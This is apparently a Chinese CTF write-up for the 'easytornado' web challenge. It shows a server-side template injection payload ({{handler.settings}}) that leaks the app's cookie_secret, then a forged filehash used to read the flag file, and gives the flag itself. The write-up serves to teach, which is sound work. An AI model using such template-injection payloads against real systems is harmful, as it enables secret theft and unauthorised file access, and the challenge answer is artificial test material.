【愚公系列】2022年04月 攻防世界-进阶题-WEB-015(easytornado)

举报
愚公搬代码 发表于 2022/04/30 21:31:47 2022/04/30
【摘要】 前言Tornado是使用Python开发的全栈式(full-stack)Web框架和异步网络库,最早由Friendfeed开发。通过使用非阻塞IO,Tornado可以处理数以万计的开放连接,是long polling、WebSockets和其他需要为用户维护长连接应用的理想选择。Tornado 跟其他主流的Web服务器框架(主要是Python框架)不同是采用epoll非阻塞IO,响应快速,...

前言

Tornado是使用Python开发的全栈式(full-stack)Web框架和异步网络库,最早由Friendfeed开发。通过使用非阻塞IO,Tornado可以处理数以万计的开放连接,是long polling、WebSockets和其他需要为用户维护长连接应用的理想选择。

Tornado 跟其他主流的Web服务器框架(主要是Python框架)不同是采用epoll非阻塞IO,响应快速,可处理数千并发连接,特别适用用于实时的Web服务。

Tornado 主要分成四个部分:

  • Web 框架(包括 RequestHandler,用于创建Web程序的基类,以及各种支持类)
  • 实现 HTTP 的客户端和服务器端 (HTTPServer 和 AsyncHTTPClient)
  • 一个异步网络库 (IOLoop 和 IOStream)
  • 一个协程库(tornado.gen) ,使得异步调用代码能够以更直接的方式书写,取代回调链接

下面是tornado实现简单web服务源码

import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("Hello, world")

application = tornado.web.Application([
    (r"/", MainHandler),
])

if __name__ == "__main__":
    application.listen(8888)
    tornado.ioloop.IOLoop.instance().start()

一、easytornado

1.点击获取在线场景

在这里插入图片描述

2.场景分析

在这里插入图片描述

3.访问flag.txt

在这里插入图片描述
看到了/flllllllllag这个文件,估计是flag,但是看到了上面的验证逻辑,有个filehash值,按照格式把文件名的hash值搞出来,看格式应该是MD5,但是不对。

4.访问welcome.txt

在这里插入图片描述

发现了render,render是渲染HTML页面用到的函数。

5.访问hints.txt

在这里插入图片描述
发现加密方式是MD5值是文件名的MD5加上cookie_secret这个值,之后再MD5加密。

6.获取cookie_secret值

http://111.200.241.244:52521/file?filename=/flag.txt&filehash=84c4fc3288f79a6d1fb4a73b2536b6c2

获取文件时报错
在这里插入图片描述
msg存在模板注入漏洞,读取cookie_secret

error?msg={{handler.settings}}

在这里插入图片描述
得到cookie_secret:d4326471-bd08-4d3b-af91-67fb1ecd89a0

7.进行加密

在这里插入图片描述

/fllllllllllllag的32位得到:3bf9f6cf685a6dd8defadabfb41a03a1

在进行第二次加密:d4326471-bd08-4d3b-af91-67fb1ecd89a03bf9f6cf685a6dd8defadabfb41a03a1

在这里插入图片描述

得到:da37411c3f435649c3abee7c92a1d12b

8.获取flag

/file?filename=/fllllllllllllag&filehash=da37411c3f435649c3abee7c92a1d12b

在这里插入图片描述
得到flag:flag{3f39aea39db345769397ae895edb9c70}

总结

Cookie的Secure属性:

基于安全的考虑,需要给cookie加上Secure和HttpOnly属性,HttpOnly比较好理解,设置HttpOnly=true的cookie不能被js获取到,无法用document.cookie打出cookie的内容。

Secure属性是说如果一个cookie被设置了Secure=true,那么这个cookie只能用https协议发送给服务器,用http协议是不发送的。换句话说,cookie是在https的情况下创建的,而且他的Secure=true,那么之后你一直用https访问其他的页面(比如登录之后点击其他子页面),cookie会被发送到服务器,你无需重新登录就可以跳转到其他页面。但是如果这是你把url改成http协议访问其他页面,你就需要重新登录了,因为这个cookie不能在http协议中发送。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。